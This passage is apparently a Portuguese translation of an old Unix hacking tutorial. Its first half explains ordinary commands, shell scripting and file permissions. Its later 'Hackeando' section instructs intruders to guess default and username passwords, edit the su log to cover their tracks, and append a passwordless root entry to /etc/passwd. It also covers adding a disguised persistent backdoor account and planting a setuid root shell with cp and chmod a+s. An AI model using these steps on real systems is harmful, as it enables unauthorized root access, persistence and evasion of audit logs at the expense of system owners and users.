     uma vez que cada stty e diferente.
     um exemplo pode ser:
    $ stty -parenb
      para fazer os parametros de dados serem N,8,1.  Um monte de Unixes operam com
      e,7,1 por padrao.

sz,rz - envia e recebe via zmodem
rx,sx - envia e recebe via xmodem
rb,sb - envia via batch ymodem.   Esses 6 programas podem ou nao estar no unix.
umodem - envia/recebe via umodem.
      $ sz arquivo
      pronto para enviar...
      $ rz filename
      por favor envie seu arquivo....
      ...etc..

ed - editor de textos.  Usar "ed arquivo"  para criar um arquivo que nao
     existe, apenas entre "ed arquivo"
     algumas versoes do ed ira dar a voce um prompt, como "*" outros nao
     $ ed textonovo
     0
     * a
     This is line 1
     This is line 2
     [control-z]
     * 1 [para ver a primeira linha]
     This is line 1
     * a [continua acrescentando]
     This is line 3
     [control-z]
     *0a [acrescenta depois da linha 0]
     This is THE first line
     [control-z]
     1,4l
     This is THE first line
     This is line 1
     This is line 2
     This is line 3
     * w
     71
     * q
     $
   O 71 e o numero de bytes escritos.
   a = acrescenta
   l = lista
   # = mostra o numero da linha #
   w - escreve
   l arq = carrega arq
   s arq = salva para arq
   w = escreve para arquivo atual
   q = sai
mesg - altera permissao de escrever ligado/desligado para seu terminal (permite chat)
     formato "mesg y" ou "mesg n"
cc - O compiler C.  explicado mais tarde.
chmod - altera o modo de um arquivo.  Muda o acesso em outras palavras.
        sintaxe: "chmod modo arquivo"
        $ chmod a+r newtext
      Agora qualquer um pode ler pode ler o newtext.
      a = todos (u = voce / g = seu grupo / o = outros grupos)
      r = leitura. (w = escrever / x = executar) Isso sera explicado mais tarde na secao 
      de acesso a arquivos.

chown - altera o dono de um arquivo.
       sintaxe: "chown novodono arquivo"
       $ chown scythian newtext
       $
chgrp - altera o grupo [explicado mais tarde] de um arquivo.
       sintaxe: "chgrp group file"
       $ chgrp root runme
       $
finger - mostra info basica de uma conta.  Formato: finger conta
grep - procura por texto em um arquivo.  sintaxe: "grep texto arquivo"
       $ grep 1 newtext
       This is Line 1
       $ grep THE newtext
       This is THE first line
       $ grep "THE line 1" newtext
       $

mail - Esse e um utilitario muito usado.  Obviamente, voce ja sabe o que isso 
        faz pelo nome.  Existem muitos utilitarios pada o mail, como o ELM, MUSH
        e MSH, mas o programa basico de "mail" e chamado de "mail".  O modo de usar
        e:
        "mail nome@conta" ou
        "mail nome"
        ou
        "mail"
        ou "mail ender1!ender2!ender3!usuario"

        "mail nome@endereco" - Isso e usado para enviar mail para alguem em outro 
sistema, que e geralmente outro UNIX, mas algumas maquinas DOS e algumas maquinas
VAX recebem o E-mail do UNIX.  Quando voce usa "mail nome@endereco" o  
sistema que voce esta deve ter um "carteiro esperto" [conhecido como smail], e deve
ter o que nos chamamos de mapas do sistema.  O smail ira encontrar o "emdereco" 
dado com o comando e expandilo para o caminho completo geralmente.  Eu podia fazer como
isso: mail phiber@optik
           e depois fazer isso no computador:

           mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Nao ligue para isso, Eu estou apenas explicando o principal da coisa.
Agora, se nao tiver nenhum smail conectado, voce tera que saber o caminho completo
ate a conta da pessoa. Exemplo, eu quero enviar um email para o
.. phiber.  Eu faco isso, caso eu nao tenha smail:

  $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

    Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?
    [control-D]
  $
Assim, quando ele receber ele, devera existir uma 20 linhas de informacao, com
uma marcacao de cada sistema que minha messagem passou, e a linha "from"
vai estar assim:

From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack 

        Agora, para correio local, apenas digite "mail nome" onde nome e a conta
que voce quer enviar o mail.  Depois digite sua messagem.  Depois finalize com um
control-D.

        Para ler o e-mail, apenas digite mail.  Ex:

        $ mail

        From scythian ............
        To sirhack ............
        Subject: Well....

        Arghhh!

        ?
 Os pontos representam dados omitidos.  Cada programa de email possui seu proprio cabecalho.
 Aquele ? e um prompt.  No prompt eu posso digitar:

        d - deleta
        f nome - reenvia para nome
        w arq - escreve a mensagem para um arquivo chamado arq.
        s arq - salva a messagem com cabecalho para um arquivo
        q - sai / salva o e-mail
        x - sai, mas nao salva nada
        m nome - mail para o nome
        r - devolve
        [enter] - le a proxima mensagem
        + - adianta uma messagem  
        - : volta um   
        h - imprime o cabecalho das mensagens que estao na sua caixa de correio.

Existem mais, para ve-las, digite '?'.

--------

Se voce envia mail para alguem de fora do seu sistema, voce tera que espera um longo
tempo para uma noficacao de recebimente, uma vez que e apenas uma letras.  Um  
"carteiro" tera que pegar ela.
O sistema pode desconectar, e usar UUCP para transferir e-mail.  Geralmente, 
contas uucp nao sao boas para ninguem, a menos que voce tenhas uucp disponivel para 
interceptar e-mail.

ps - processo.  Esse comando permite a voce ver o que voce esta atualmente fazendo 
na memoria.  Toda vez que voce roda um programa, ele fica ligado a um numero de
identificacao de processo (PID), para fins de controle de contas, e assim ele pode ser
encontrado na memoria, ou ser apagado por voce, ou pelo root.  Geralmente, a primeira
coisa em uma listagem de processo pelo "ps" e seu nome shell.  Digamos eu esteja 
conectado como sirhack, usando o shell "csh" e rodando "watch scythian".  
O program de escuta deve estar no background, significando que ele e capaz de fazer coisas
enquando ele estiver rodando:
  $ ps
  PID  TTY  NAME
  122  001  ksh
  123  001  watch
  $
  Isso e um PS encurtado.  E uma listagem padrao [curta por sinal].
  A coluna TTY representa o "tty" [disposito de e/s] que o processo esta rodando.
  Isso e somente usado realmente se voce esta usando layers 
  ou mais de uma pessoa esta conectada com a mesma conta.  Agora
  "ps -f" ira dar a voce uma listagem completa do processo de voce mesmo, 
  assim em vez de ver somente o programa "watch" voce ira ver "watch scythian"

kill - mata um processo.  E usado para terminar um programa na memoria obiamente.
Voce pode somente matar processos proprios [aqueles que voce comecou], a menos que 
voce seja root, ou seu EUID seja o mesmo que o do processo que voce quer matar.
(Vou explicar euid mais tarde).  Se voce matar o processo shell, voce sera desconectado.
Da mesma forma, se voce matar o processo de alguem, eles serao desconectados tambem.
Assim, se eu disse "kill 122" Eu serei desconectado.  Entretando, kill apenas envia
um sinal para o UNIX dizendo pra ele matar um processo.  Se voce usar a sintaxe
"kill pid" entao UNIX mata ele quando ele terminar, o que pode ser nunca.   Assim,
voce pode especificar urgentemente!  Tente "kill -num pid"
Kill -9 pid  e um kill definitivo quase instantaneamente.  Assim se eu fizer isso:
 $ kill 122
 $ kill 123
 $ ps
 PID   TTY   NAME
 122   001   ksh
 123   001   watch
 $ kill -9 123
 [123]: killed
 $ kill -9 122
 garbage
 NO CARRIER

Tambem, voce pode dar um "kill -1 0" para matar o processo de shell para desconectar-se.
Isso sera util nos scripts (explicados mais tardes).

-------------------
Programacao em Shell
-------------------

        Programar em Shell e basicamente fazer um arquivo "script" para o 
shell padrao, pode ser sh, ksh, csh, ou algo nesse tipo.  E como um
arquivo batch no MSDOS, mas mais complexo, e mais Flexivel.

Primeiro, vamos para as variaveis.  Variaveis obviamente podem ter um  valor.
Que podem ser strings ou numeros.

numero=1

        Isso vai dar um valor 1 para a variable chamada "numero".

string=Hi There
ou
string="Hi There"

        Ambas irao dar um valor "Hi there" para a varivel.

        Usar uma variavel e diferente.  Quando voce quiser usar uma variavel
        voce deve colocar um simbolo dollar ($).  Essas variaveis podem ser
        usadas como argumentos em programas.  Quando eu disse que scripts sao
        como arquivos batch, Eu quis disser isso.  Voce pode entrar qualquer nome 
        de um programa em um script, e ele ira executar ele. Aqui vai um script 
        exemplo:

counter=1
arg1="-uf"
arg2="scythian"

ps $arg1 $arg2

echo $counter

        Esse script ira traduzir para "ps -uf scythian" e depois ira imprimir
        "1" depois de ter terminado.  ECHO mostra algo na tela, ou numerico ou 
        uma string.

Outros comandos / Exemplos:

read - le algo para uma variavel.  formato: read variavel .  O sinal de dollar
        nao e necessario aqui!  Se eu quiser pegar o nome de alguem, eu posso 
        fazer:

echo "QUal o seu nome?"
read hisname
echo Ola $hisname

        QUal o seu nome?
        Sir Hackalot
        Ola Sir Hackalot

        Lembre-se, read pode ler valores numericos tambem.

trap - Isso espera alguem usar o comando de interrupcao. (Ctrl-c)
       formato: trap "commando ; commando ; commando ; etc.."
Example:
        trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
        'You gotta see this through!'"

        Agora, se eu teclar control-c durante o script depois dessa estrutura for
        executada, eu terei:
        Noway!! You are not getting rid of me that easy
        You gotta see this through!

exit : formato:exit [num]  Isso sai do shell [quits] retornando um valor
        num de saida.

-----
CASE
-----

        O Case pode ser usado para se fazer menus.  O formato do comando ou 
        estrutura e:
        case variavel in
        1) comando;
           comando;;
        2) comando;
           comando;
           comando;;
        *) comando;;
         esac
        Cada parte pode ter qualquer numero de comandos. O ultimo comando entretanto
        tem que ter um ";;".  Por exemplo:

        echo "Escolha:"
        echo "(D)iretorio (L)ogoff (S)hell"
        read choice
        case $choice in

        D) echo "Listando Diretorios...";
           ls -al ;;
        L) echo Bye;
           kill -1 0;;
        S) exit;;
        *) Echo "Erro! Nao e um comando";;
        esac

        O esac marca o fim da funcao case. Ele deve vir depois do 
        ULTIMO comando.

Loops
-----

        Ok, loops.  Existem duas funcoes de loop. O loop for e o repeat.
        
        repeat funciona assim: repeat algo algo1 algo2
        isso ira repetir um secao de seu script para cada "algo".
        digamos que eu faca isso:
        repeat scythian sirhack prophet

        Eu vou ver "scythian" depois sirhack depois prophet na tela.

        O loop for e definido como "for variavel in algo
                                    do
                                    ..
                                    ..
                                    done"

        exemplo:
        for counter in 1 2 3
        do
        echo $counter
        done

        Ira escrever 1 depois 2 depois 3.

Usando TEST
----------
formato:  Test variavel optcao variavel

As opcoes sao:
-eq    =
-ne    <> (diferente)
-gt    >
-lt    <
-ge    >=
-le    <=

para strings e: = para igual  != para diferente.

Se a condicao e verdadeira, um zero e returnado.  Veja:

        test 3 -eq 3

isso ira fazer um test 3 = 3, e um 0 sera retornado.

EXPR
----

Isso e para funcoes numericas.  Voce nao pode simplesmete digitar
echo 4 + 5
e ter uma resposta.  voce deve disser:
expr variavel [ou numero] operador variavel2 [ou numero]
o operadores sao:

+ mais
- menos
* multiplicacao
/ divisao
^ - exponenciacao (em alguns sistemas)

exemplo :   expr 4 + 5
var = expr 4 + 5
var deve ter 9.

        Em alguns sistemas, expr algumas vezes imprime uma formula.  Ou seja,
        22+12 nao e igual a 22 + 12.  Se voce fizer expr 22+12 voce ira ver:
        22+12
        Agora se for expr 22 + 12 voce vera:
        34


VARIAVEIS DO SISTEMA
----------------

        Existem variaveis usaddas pelo shell, e sao geralmente mantidas no
arquivo .profile [explicao mais tarde].

HOME - lugar do seu diretorio home.
PS1  - O prompt que voce tem. geralmente $ .  Num BSD e geralmente &
PATH - Esse e o caminho de procura por programas.  Quando voce digita um programa
para ser executado, ele nao esta na memoria; ele deve ser carregado do disco.  
Muitos comandos nao estao na memoria como no MSDOS. Se um programa esta no 
caminho de procura, ele sera executado sem problema onde voce esta.  Se nao
voce tera que esta no diretorio onde ele esta.  Um path e um conjunto de diretorios
basicamente, separados por um ":".  Aqui vai um caminho de procura tipico:

        :/bin:/etc:/usr/lbin:$HOME:

Quando voce tentar executar um program, Unix ira procurar por ele no /bin,
/etc, /usr/lbin, e no diretorio home, e se nao for encontrado, um erro aparece.
Ele procura em diretorios na ORDEM do path.  Assim se voce tem um programa chamado
"sh" no seu diretorio home, e digitar "sh", Mesmo estando no seu diretorio home,
ele ira executar o que esta no /bin. Assim, voce deve criar seu path sabiamente.
Unixes de acesso publico fazem isso para voce, mas alguns sistemas que voce encontrar
podem nao ter um path feito.

TERM - Esse e seu controle do terminal.  UNIX tem uma biblioteca de funcoes 
chamadas "CURSES" que pode pegar vantagem de qualquer terminal, fornecendo os codigos 
de escape encontrados.  Voce deve ter seu term configurado para algo se voce roda
programas orientados por telas.  Os codigos/nomes de escape dos terminais sao encontrados
em um arquivo chamado TERMCAP.  Nao sinta mal quanto a isso.  apenas altere seu term
para  ansi ou vt100.  CURSES ira deixar voce saber se ele nao pode manipular sua emulacao
de terminal.


-------------------
O compilador em C
-------------------

        Isso sera uma introducao apenas.  Porque?  Porque se voce quiser aprender C, va
        comprar um livro.  Eu nao tenho tempo para escrever outro arquivo sobre
        C, por isso ser muito extenso.  Basicamente, muitos executaveis sao programados
        em C.  Codigos fontes no unix sao encontrado como arquivo.c  .
        Para compilar algum apenas digite "cc arquivo.c".  Nem todos os programas em C irao
        compilar, uma vez que eles dependem de outros arquivos que nao estao la,
        ou sao apenas modulos.  Se voce ver algo chamado "makefile" entao voce pode
        geralmente, digitar apenas "makefile" no prompt, e a;go ira ser compilado
        or tentara ser compilado.  Quando usar makefile ou CC, sera muito esperto usar
        o operando de background uma vez que compilar algumas vezes demora muito tempo.
        IE:
        $ cc login.c&
        [1234]
        $
        (O 1234 for oi o numero do processo que ele ficou identificado).


_____________________________________________________________________________

---------------
O sistema de arquivos
---------------

        Essa e uma parte do UNIX instrumental.  Se voce nao entendes essa
secao, voce nunca sera capaz de hackear Unix, uma vez que muito do que voce
tem que fazer depende disso.

Primeiro, vamos comecar a falar sobre a estrutura de diretorio.  Ela e basicamente
um sistema de arquivos hierarquico, ou seja,  ele comeca na raiz e expande-se,
como no MSDOS, e possivelmente AmigaDos.

Aqui e uma listagem de uma arvore de diretorios:  (d) significa diretorio

                        /  (root dir)
                        |
                        |--------------------|
                      bin (d)               usr (d)
                                        ----^--------------------
                                        |        |              |
                                    sirhack(d)  scythian (d)    prophet (d)
                                        |
                                        src (d)

Agora, esse sistema particular contem os seguintes diretorios:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet

Espero que voce tenha entendido essa parte, e voce deve.  Tudo expande a partir do
diretorio raiz.

o Permissoes de arquivos
------------------

Agora, isso e realmente o barato.  Permissoes de arquivos.  Nao e muito dificil
entender permissoes de arquivos, mas eu irei explicar profundamente de qualquer
jeito.

OK, agora voce deve entender de grupos de usuarios tao bem como nomes de usuarios, todos
pertencem a um grupo.  No prompt $, voce pode digitar 'id' para ver quais o grupos que
voce pertence.  Ok, grupos sao usados para permitir que pessoas acessem certas coisas.
ao inves de so ter uma pessoa controlando/tendo acesso para certos arquivos.
Lembre-se tambem que o Unix olha o UID de alguem para determinar acesso, nao o
nome do usuario.

Ok.  Permissoes de arquivos nao sao realmente complicados.  Cada arquivo tem um dono
Esse dono e geralmente aquele que criou o arquivo, ou por copiar um arquivo 
ou apenas por te-lo editado.  O programa CHOWN pode ser usado para alterar
o dono de um arquivo.  Lembre-se que o dono de um arquivo deve ser aquele que
rodou o CHOWN, uma vez que ele e o unico que pode alterar a permissao de um arquivo.
Outra coisa, existe um dono do grupo, que e basicamente o grupo que voce esta quando o
arquivo foi criado.  Voce pode usar chgrp para mudar o grupo de um arquivo.

Agora, arquivos podem ter permissoes de serem executados, permissoes de leitura, 
ou permissao de escrita.
Se voce tiver permissao de execucao, voce sabe que voce pode simplesmente escreve o nome
do programa na linha de comando, e ele sera executado.  Se voce tiver permissao de 
leitura de um arquivo, voce pode, obviamente, ler o arquivo, ou fazer algo que lei o
arquivo, tal como copiar o arquivo.
Se voce nao tiver acesso a um arquivo, voce nao pode fazer nada que requeira 
ler o arquivo.  Essa e a mesma coisa com a permissao de arquivo.  Agora todas as permissoes
sao arranjada em 3 grupos.  O Primeiro e a permissao do dono.  Ele pode ter as permissoes
configuradas para si proprio para ler e executar, mas nao escrever no aruqivo.
Isso para impedir que o dono apague o arquivo.
O segundo grupo e a permissao do grupo.  Pegue uma entrada de arquivos para
ter um exemplo:
 $ ls -l runme
 r-xrwxr-- sirhack       root     10990 March 21  runme

ok.  Agora, o "root" e o grupo onde o arquivo esta.  "sirhack" e o dono.
Agora, se o grupo chamado 'root' tem acesso para ler, escrever e executar, eles
podem fazer isso.  Veja .. Scythian veio atras do arquivo, ele esta no grupo chamado root.
Ele pode ler, escrever ou executar o arquivo.  Agora, o datawiz veio atras do arquivo tambem,
mas ele esta no grupo "users".  A permissao de grupo nao pode ser aplicada para ele,
significando que ele nao tem permissioes, assim ele nao pode tocar no arquivo, certo? so he couldn't touch
Errado.  Existe um terceiro grupo de permissoes, e esse e o "outros" grupos.  Isso significa que as 
permissoes em "outros" grupos aplicam-se para todos alem dos dono e dos usuarios do mesmo grupo do arquivo.
Olhe na entrada de diretorio ao lado.  O r-x-rwxr-- e a lina de permissoes
Os primeiros 3 caracteres sao as permissoes para o dono (r-x).  O
"r-x" traduz-se para "permissao de ler e executar, mas sem escrever"
o segundo conjundo do 3, r-xRWXr-- (aqueles em maisculas) sao as permissoes de grupos.
Significa que "leitura, gravacao e execucao sao permitidas"
O 3 conjunto, r-xrwxR-- e a permissao para os todos os outros .  Isso significa 
"somente a leitura e permitida".  Um diretorio pode parecer como isso:
$ ls -l
 drwxr-xr-x sirhack     root  342 March 11  src

Um diretorio tem um "d" no inicio da linhas de permissoes.  Agora, o dono
do diretorio (sirhack) pode ler do diretorio, escrever no diretorio
e executar programas do diretorio.  O grupo do root e todos os outros
podem apenas ler a partir no diretorio, e executar programas no diretorio.
Assim, se eu mudei o diretorio para ser executavel apenas, isso e como ele sera:
$ chmod go-r
$ ls
drwx--x--x sirhack   root  342  March 11  src

Agora, se alguem esta nesse diretorio, ele podem somente executar programas
do diretorio.  Se ele fizerem um "ls" para pegar uma listagem de arquivos do
src, ira aparecer "cannot read directory".
Se ha uma arquivo que pode ser lido no diretorio, mas o diretorio nao pode ser
lido, e quase impossivel ler o arquivo, a menos que voce saiba o nome do arquivo.

Se voce nao tem permissao para executar em um diretorio, voce nao sera capaz de
executar algo no diretorio.

_____________________________________________________________________________

--------------
Hackeando:
--------------
        O primeiro passo em hackear o UNIX e entrar no sistema operacional
encontrando um conta valida/senha.  O objetivo de hackear e geralmente ser o
root (privilegio total), assim se voce e sortudo o suficiente para saber ser o root,
voce nao precisa mais ler nada desse arquivo, e pode passar para secao
"Divertindo-se".  Hackear pode ser simplesmente pegar contas de outras pessoas.

Entrando
----------
        A primeira coisa a fazer e entrar no Unix.  Ou seja, passar do prompt de login.
Essa e a primeira coisa.  Quando voce entra em um UNIX, algumas vezes ele ira 
identificar a si proprio dissendo o seguinte,
"LeBeau INC. et al Company UNIX"

ou apenas
"LeBeau Inc.  Please login"

        Aqui e onde voce tentara as contas padrao que eu mostrei.  Se voce entrar
com aquele, voce pode tentar fazer o mais avancado ato de hackers (ser o root). 
Se voce faz algo errado no login, voce tera a messagem "login incorrect"
Isso foi feito para confundir os hackers, ou manter a maravilha.  Porque?
Bem, voce nao sabe se voce entrou uma conta que nao existe, ou uma que existe e
errou a senha.  Se voce der um login e ele disser "Not on Console", voce tem um problema.  
Voce tera que dar um login como alguem mais, e usar SU para ser o root.

   Agora, isso e onde voce tem que pensar (Como diz meu professor, perder a virgindade do
cerebro).  Se voce nao entrar com um default, voce esta obviamente indo ter que encontrar alguma
coisa a mais para dar um login.  Alguns sistema tem uma boa forma de fazer isso 
permitindo o uso de logins de comando.  Sao os que simplesmente executar um comando,
depois dao um logoff.  Entretando, os comandos que eles executas sao geralmente muito uteis.
Por exemplo, existem 3 comandos muitos comuns que mostras que esta conectado naquele momento.
Eles sao:
        who
        rwho
        finger

    Se voce conseguir fazer um desses funcionar, voce pode tentar os nomes dos usuarios
que estao conectados.  Muitos de usuarios usam o nome da conta como senha.  Exemplo
o "bob" pode ter uma senha "bob" ou "bob1".   Isso, como voce sabe, nao e esperto,
mas eles nao esperam que um hacker venha tentar fazer isso com eles.  Eles somente querem
ser capazer de entrar rapidamente.
   Se um login de comando nao existe, ou nao e util, voce pode ficar com a cabeca quente.
Uma boa coisa para tentar e usar o nome do unix que ele esta identificado.
Por Exemplo, o Unix da LeBeau INC pode ter uma conta chamada
"lebeau"
        LeBeau, INC.  Please Login.
        login: lebeau
        UNIX SYSTEM V REL 3.2
        (c)1984 AT&T..
        ..
        ..
        ..
    
   Alguns unixes tem uma conta aberta chamada "test".  Isso tambem e um padrao,
mas isso e surpreendemente suficiente, ele algumas vezes deixado aberto.  E bom
tentar usar ele.  Lembre-se, cabeca quente e a chave para um unix que nao tem 
aparentemente nenhum padrao aberto.  Pense nas coisas que podem ter relacao com esse
Unix.  Digite coisas tipo "info", "password", "dial", "bbs" e outras cositas mas
que podem pertencer ao sistemas "att" esta presente em algumas maquinas tambem.

UMA VEZ DENTRO -- ARQUIVOS ESPECIAIS
----------------------------
        Existem muitos arquivos que sao muito importantes para o ambiente do UNIX.
Sao as que seguem:

/etc/passwd  - Essa e provavelmente o arquivo mais importante no UNIX, porque?
               bem, basicamente, ele possui as contas validas/senhas.
               Isso e importante uma vez que apenas aquelas listado no passwd
               podese dar login, e algumas delas nao pode-se (vou explicar).
               The format for the passwordfile is this:

nome:senha:UserID:GroupID:descricao(ou nome real):homedir:shell

                Aqui estao duas entradas de exemplo:

sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh

                Na primeira linha, sirhack e um usuarui valido.  O segundo campo,
                entretando, e suposto para ser uma senha, certo?  Bem, ela e, mas estas
                encripatada com o algoritmo de encriptacao da DES.
                a parte que diz "&a,Ty" pode incluir um data depois da virgula
                (Ty) que fala ao unix quando a senha expira.  Sim, a data esta encriptada
                em dois caracteres alfanumericos (Ty).

                No segundo exemplo, a conta demo nao tem senha.
                Assim no Login, voce pode digitar:

login: demo
UNIX system V
(c)1984 AT&T
..
..

                Mas com sirhack, voce tem que entrar uma senha.  Agora,o
                arquivo de senhas e grande, muitas vezes, voce sera capaz
                de navegar atraves dele olhando por contas sem senhas.  
                Lembre-se que algumas contas podem ser restritas de se 
                logar com elas, exemplo:

bin:*:2:2:binaccount:/bin:/bin/sh

                O '*' significa que nao pode dar um login com ele.  Sua
                unica finalidade sera rodar um shell SUID shell (explicado mais tarde).

        Um nota sobre a encriptacao DES:  cada unix faz a sua propria 
"palavra chave" como base de sua encriptacao.  Muitas vezes e somente letras aleatorias
e numeros.  Sao escolhidas na instalacao pelo sistema operacional.
        Agora, decripitar coisas encriptadas com DES nao e facil.  E quase 
impossivel.  Especialmente decriptar o arquivo de senhas (decriptar o campo com
a senhas no arquivo de senhas para se exato).  Nunca acredite em um hacker que
diz que decriptou um arquivo de senhas.  Ele provavelmente esta mentindo.  
As Senhas nunca sao decriptados no unix, mas ao contrario, uma chamada ao sistema
e feita para uma funcao chamada "crypt" de dentro da linguagem C, e a string que voce
entrou como a senhas fica encriptada, e comparada com a senhas encriptada.  Se 
elas combinas, voce esta dentro.  Agora, existem hackers de senhas, mas eles
nao decriptas o arquivo de senhas, mas ao contrario, encriptam palavras de um dicionario
e testam elas em cada conta (criptografando/comparando) ante que ele encontra
uma igualdade.  Lembre-se, poucos, talvez ninguem, conseguiram decriptar o arquivo
de senhas com sucesso.

/etc/group - Esse arquivo contem os grupos validos.  O arquivo de grupos e geralmente
             definido como esse:
             grupo:senha:groupid:usuarios no grupo

         De novo, as senhas sao encriptadas aqui tambem.  Se voce ve uma senhas
         em branco voce podera ser parte daquele grupo usando o comando "newgrp". 
         Agora, existem casos em que alguns grupos sem senhas irao apenas permitir
         certos tipos de usuarios entrem naquele grupo via o comando newgrp
         Geralmente, se o ultimo campo e deixado em branco, isso significa que qualquer
         usuario pode usar newgrp para ter o acesso ao grupo.  De outra forma, apenas
         os usuarios especificado no ultimo campo podem entrar no grupo por newgrp.
         
        Newgrp e apenas um programa que ira muidar seu grupo atual por aquele que voce
        especificar. A sintaxe e:
         newgrp grupo
        Agora, se voce encontrar um crupo sem senha e usar newgrp para entra nele,
        e ele pedir uma senha, voce nao esta permitido de usar o grupo.
        Eu explicarei melhor isso na secao "SU & Newgrp".

/etc/hosts - Esse arquivo contem uma lista de host que o UNIX esta conectado 
             atrave de uma rede de hardware (tipo um elo x.25 ou algo assim), 
             ou as vezes por UUCP.  Esse e um bom arquivo quando voce esta hackeando
             uma rede enorme, uma vez que ele mostra a voce sistemas que voce pode usar com
             rsh (Shell Remote, nao restrito shell), rlogin, e telnet,
             tao bem como outros programas de elo de ethernet/x.25.

/usr/adm/sulog (or su_log) - O arquio sulog (ou su_log) pode ser encontrado em
             muitos diretorios, mas ele e geralmente no /usr/adm.  Esse arquivo
             e o que ele parece.  E um arquivo de log, para o programa SU.
             O que ele faz e manter um registro de quem usa SU e quando.
             quando voce usar o SU, a melhor coisa a fazer e editar esse arquivo
             se possivel, e eu vou falar como e porque na secao sobre usar "su".
             
/usr/adm/loginlog
ou /usr/adm/acct/loginlog -
        Esse um arquivo de log, mantendo o traco dos logins.
        Sua atuacao e meramenta para controle de contas e "revisao de seguranca".  Realmente,
        algumas vezes esse arquivo nunca e encontrado, uma vez que muitos sistemas mantem o
        o log das contas desligado.

/usr/adm/errlog
ou errlog -     Esse e log de erro.  Ele pode ser localizado em qualquer lugar.
                Ele tem os tracos de todos os erros serios e as vezes nem tao serios erros.
                Geralmente, ele ira conter um codigo de erro, depois uma situacao.
                o codigo de erro varia de 1 a 10, quanto maior, pior o erro.
                Erro de codigo  6 e geralmente usada quando voce tenta hackear.
                "login" loga sua tentativa no errlog com codigo de erro 6.  
                Codigo de erro 10 significa "SYSTEM CRASH".

/usr/adm/culog - Esse arquivo contem entradas que mostram quando voce usou cu,
                 onde voce chamou e outras coisas.  Outra negocio de seguranca.

/usr/mail/ - Esse e onde o programa "mail" armazena o mail.
                        para ler uma caixa de correio particular, voce tem que 
                        ser esse usuario, no grupo de usuarios "mail" ou root.  
                        cada caixa de correio e apenas um nome.  Exemplo, se minha
                        conta e "sirhack" meu arquivo de email deve se,geralmente:
                        /usr/mail/sirhack

/usr/lib/cron/crontabs - Esse contem as instrucoes para o cron, geralmente.
                         Veremos isso mais tarde.

/etc/shadow - Um arquivo de senhas "escondidas", falarei sobre isso mais tarde.


-- A conta BIN --

       Bem, nesse momento, eu gostaria de pegar um espaco para falar sobre a 
conta "bin".  Mesmo que ela seja uma conta com nivel de usuario,  ele e muito
poderosa.  Ela e dona de quase todos os arquivos, e em muitos sistemas, ela possui
/etc/passwd, o arquivo mais importante no unix.  Olhe, a conta bin possui muitos dos
arquivos binarios (bin), assim como os outros arquivos usados pelos arquivos binarios,
tal como o login.  Agora, sabendo o que voce ja sabe sobre permissoes de arquivo,
se o bin possui o arquivo passwd, voce pode editar passwd e acrescentar uma entrada
de root para si proprio.
Voce pode fazer isso pelo comando edit:
$ ed passwd
10999 [O tamanho do passwd varia]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$

Entao, voce diz: exec login, entao voce pode dar login como sirhack e
voce sera root.

/\/\/\/\/\/\/\/\/
Hackeando........
/\/\/\/\/\/\/\/\/

--------------
Acrescentando contas
--------------

        Existem outros programas que irao acrescentar usuarios no usuario,
alem do ed. Mas muitos desses programas nao irao permitir um usuario com nivel de
root seja acrescentado, ou algo menos que uma UID de 100.  Um desses programas e
chamado "adduser".  Agora, a razao que eu fiz essa pequena secao, e para aqueles
que querem usar o unix para algo util.  Digamos que voce queira um "endereco de
correspondencia".  Se o unix tem uucp nele, ou se e um grande colecio,
as chances sao que ele ira fazer transferencias de email.  Voce tera que testar
o unix tentando enviar email para um amigo em algum lugar, ou apenas enviando um 
email para si proprio.
Se o programa de email e identificado como "smail" quando voce manda uma carta a 
si proprio (o nome do programa ira aparecer na messagem) isso provavelmente significa
que o sistema ira enviar correio UUCP.  Essa e uma boa forma para manter contato com
alguem.
Agora, isso e porque voce precisa de uma conta semi-permanente.  O modo de arquivar isso
e acrescentando uma conta similar a aquelas que existem no sistema.  Se todas as
contas com nivel de usuario (UID >= 100) sao abreviacoes com tres letras, tipo
"ogb" para O Gato Bill, ou "brs" para bill ryan smith, acrescente uma conta via
adduser, e faca um nome tipo sally jane marshall ou algo assim,
(eles nao espera que hackers ponham nomes femininos) e tenha uma conta
chamada sjm.  Veja, na descricao da conta (tipo Mr. Hackalot acima), e la onde
o nome real e geralmente armazenado.  Assim, sjm ira ficar assim:
     sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
E claro que voce ira colocar uma senhas nessa senhas, certo?
Tambem, id de grupos nao tem que ser acima de 100, mas voce pode por a conta
em uma que exista.  Agora, uma vez que deu um login com essa conta, a primeira 
coisa que voce fara e executar "passwd" para por uma senha.  Se voce nao o fizer,
provavelmente outra pessoa o fara para voce.

-------------------
Mudar o ID do usuario
-------------------

        Esse provavelmente um dos esquemas mais usados.  Alterando uma "UID-
Shell". O que isso significa?  Bem, isso basicamente significa que voce esta
mudando bit do usuario em um programa.  O programas mais usado e um
shell (csh,sh, ksh, etc).  Porque?  Pense sobre isso:  Voce tera acesso a tudo que 
o dono do arquivo tem.  Um shell UID altera o id do usuario de uma pessoa que o
executa.  Assim, se um root possui um shell de uid, entao voce sera root quando
voce o rodar.  Esse e uma alternativa para se tornar root.

        Digamos que voce entrou e modificou o arquivo de senhas e deixou a conta
root sem senha, assim voce pode pegar ela.  E claro, voce tera que
pegar logo essa conta senao isso sera descoberto eventualmente.  Assim, o que voce
fazer e pegar uma conta de usuario normal para si proprio, e depois, fazer um
shell uid.  Geralmente voce pode usar /bin/sh para isso.  Depois de acrescentar
um usuario regular para o arquivo passwd, e mudar/verificar seu diretorio home.
voce pode fazer algo como isso:
(assumindo que voce pegou a conta: shk)
 # cp /bin/sh /usr/shk/runme
 # chmod a+s /usr/shk/runme

Isso e tudo o que voce tem que fazer.  Quando voce conectar como shk, voce podera fazer
isso:

 $ runme
 #

Viu?  Voce sera o root.  Aqui esta uma coisa a fazer:

$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#

O euid e o Id do usuario "efetivo" user ID.  shells de UID apenas mudam o efetivo
